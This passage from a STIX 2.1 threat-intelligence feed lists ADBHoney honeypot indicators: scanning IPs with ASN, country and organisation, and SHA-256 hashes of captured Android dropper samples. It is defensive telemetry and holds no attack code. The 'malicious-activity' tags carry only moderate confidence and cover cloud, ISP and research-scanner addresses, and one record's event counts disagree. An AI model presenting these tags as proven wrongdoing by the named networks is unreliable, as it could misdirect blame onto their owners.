          "month": "2026-04",
          "event_count": 39,
          "first_seen": "2026-04-14T18:51:35.000Z",
          "last_seen": "2026-04-14T19:07:50.686Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "401443"
          ],
          "org": [
            "WAP.AC LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T19:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-14T18:20:22.000Z | last_seen=2026-04-14T18:30:30.244Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--c5e8666e-670f-48a6-b7b1-96b9b3b96fe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.218.89.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T19:00:05.000Z",
      "valid_until": "2026-05-16T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-14T18:20:22.000Z",
          "last_seen": "2026-04-14T18:30:30.244Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T23:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-14T22:26:21.000Z | last_seen=2026-04-14T22:36:37.572Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--1175ae03-1c35-439d-a0e8-9fa640eb6a79",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T23:00:04.000Z",
      "valid_until": "2026-05-16T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-14T22:26:21.000Z",
          "last_seen": "2026-04-14T22:36:37.572Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-14T23:26:58.000Z | last_seen=2026-04-14T23:37:08.394Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--7a3e261b-ec71-4751-b3e5-fcfc11a3b518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:00:10.000Z",
      "valid_until": "2026-05-17T00:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-14T23:26:58.000Z",
          "last_seen": "2026-04-14T23:37:08.394Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-14T23:24:53.000Z | last_seen=2026-04-14T23:25:55.599Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--f97165fa-d4a2-4965-9109-ae98f2001817",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:00:10.000Z",
      "valid_until": "2026-05-17T00:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-14T23:24:53.000Z",
          "last_seen": "2026-04-14T23:25:55.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T00:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-14T23:26:10.000Z | last_seen=2026-04-14T23:36:20.674Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c86b5e8-a474-4d02-90d8-2233e59bede2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.1.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T00:00:10.000Z",
      "valid_until": "2026-05-17T00:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-14T23:26:10.000Z",
          "last_seen": "2026-04-14T23:36:20.674Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T01:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-15T00:04:47.000Z | last_seen=2026-04-15T00:16:10.398Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--64947df5-cb32-4e13-a069-8991e9486466",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:00:05.000Z",
      "valid_until": "2026-05-17T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-15T00:04:47.000Z",
          "last_seen": "2026-04-15T00:16:10.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T01:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=LT; asn=43700; asn_org=UAB Consilium Optimum; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-15T00:39:40.000Z | last_seen=2026-04-15T00:40:42.448Z | ports=5555 | cc=LT | asn=43700 | org=UAB Consilium Optimum",
      "id": "indicator--693c4ac3-421a-49ab-a364-5dc570d9eca9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '78.158.15.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T01:00:05.000Z",
      "valid_until": "2026-05-17T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-15T00:39:40.000Z",
          "last_seen": "2026-04-15T00:40:42.448Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "43700"
          ],
          "org": [
            "UAB Consilium Optimum"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-15T02:05:10.000Z | last_seen=2026-04-15T02:15:23.367Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--137a961f-6999-4529-a951-236537f1e016",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:00:04.000Z",
      "valid_until": "2026-05-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-15T02:05:10.000Z",
          "last_seen": "2026-04-15T02:15:23.367Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-15T02:05:09.000Z | last_seen=2026-04-15T02:15:19.330Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--d8bbb4ff-444f-4d8b-b36d-e630aff2d230",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T03:00:04.000Z",
      "valid_until": "2026-05-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-15T02:05:09.000Z",
          "last_seen": "2026-04-15T02:15:19.330Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-15T05:08:27.000Z | last_seen=2026-04-15T05:18:44.636Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--960bd210-1721-4d75-a3a4-a919913b8c76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T06:00:05.000Z",
      "valid_until": "2026-05-17T06:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-15T05:08:27.000Z",
          "last_seen": "2026-04-15T05:18:44.636Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-15T07:34:40.000Z | last_seen=2026-04-19T13:38:47.577Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:00:04.000Z",
      "valid_until": "2026-05-17T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-15T07:34:40.000Z",
          "last_seen": "2026-04-19T13:38:47.577Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-15T07:33:41.000Z | last_seen=2026-04-15T07:34:50.977Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d503cb0e-a289-4d14-b93a-416b14ab7148",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T08:00:04.000Z",
      "valid_until": "2026-05-17T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-15T07:33:41.000Z",
          "last_seen": "2026-04-15T07:34:50.977Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T09:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6637bfe906ea4f693ee49e833691f0a3de69c8d0e46841e6c8d80f08af2dce98.raw; last_seen=2026-04-15T08:46:53.280Z",
      "id": "indicator--52a4baa1-0b67-45cc-996b-4cf8dada4dc6",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '6637bfe906ea4f693ee49e833691f0a3de69c8d0e46841e6c8d80f08af2dce98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T09:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d9e3cfe175d2d8f0debb67a203d5f7d231983e75cf95f5a4862bf105b0d45040.raw; last_seen=2026-04-15T08:46:54.357Z",
      "id": "indicator--d5fed620-7589-4e61-9956-ae62e8465df1",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd9e3cfe175d2d8f0debb67a203d5f7d231983e75cf95f5a4862bf105b0d45040']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T09:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/fc38381eae0370afab4933713374775157e96f6921e126f8b71f10ed89cbc5b3.raw; last_seen=2026-04-15T08:46:55.438Z",
      "id": "indicator--13964f0d-f2f6-4700-bb55-437cad9153a1",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'fc38381eae0370afab4933713374775157e96f6921e126f8b71f10ed89cbc5b3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-15T15:46:44.000Z | last_seen=2026-04-15T15:47:52.177Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--900123a4-9e83-4291-97e2-8cd2d742a47e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.232.27.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:00:03.000Z",
      "valid_until": "2026-05-17T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-15T15:46:44.000Z",
          "last_seen": "2026-04-15T15:47:52.177Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-15T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-15T15:47:37.000Z | last_seen=2026-04-15T15:48:39.936Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3f6e83ad-ecaa-49cf-906d-879c73875405",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.56.85.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:00:03.000Z",
      "valid_until": "2026-05-17T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
